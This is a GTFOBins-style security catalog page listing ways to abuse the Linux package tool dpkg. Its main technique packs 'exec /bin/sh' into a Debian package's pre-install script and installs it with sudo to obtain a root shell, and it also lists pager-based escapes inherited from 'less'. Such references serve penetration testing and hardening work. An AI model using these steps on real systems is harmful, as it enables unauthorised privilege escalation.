CatalogGTFOBins

GTFO · Tool

dpkg

4 techniquesLinuxGTFOBinsGPL-3.0

inherit ← less

ExecutionFile ReadFile WritePrivilege EscalationLinux
dpkg -l
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
inherit, from:less

inherit ← less

ExecutionFile ReadFile WritePrivilege EscalationLinux
dpkg -l
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
inherit, from:less

inherit ← less

ExecutionFile ReadFile WriteLinux
dpkg -l
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
inherit, from:less

shell

ExecutionPrivilege EscalationLinux

Generate the Debian package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. ``` echo 'exec /bin/sh' >x.sh fpm -n x -s dir -t deb -a all --before-install x.sh . ```

dpkg -i x_1.0_all.deb
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059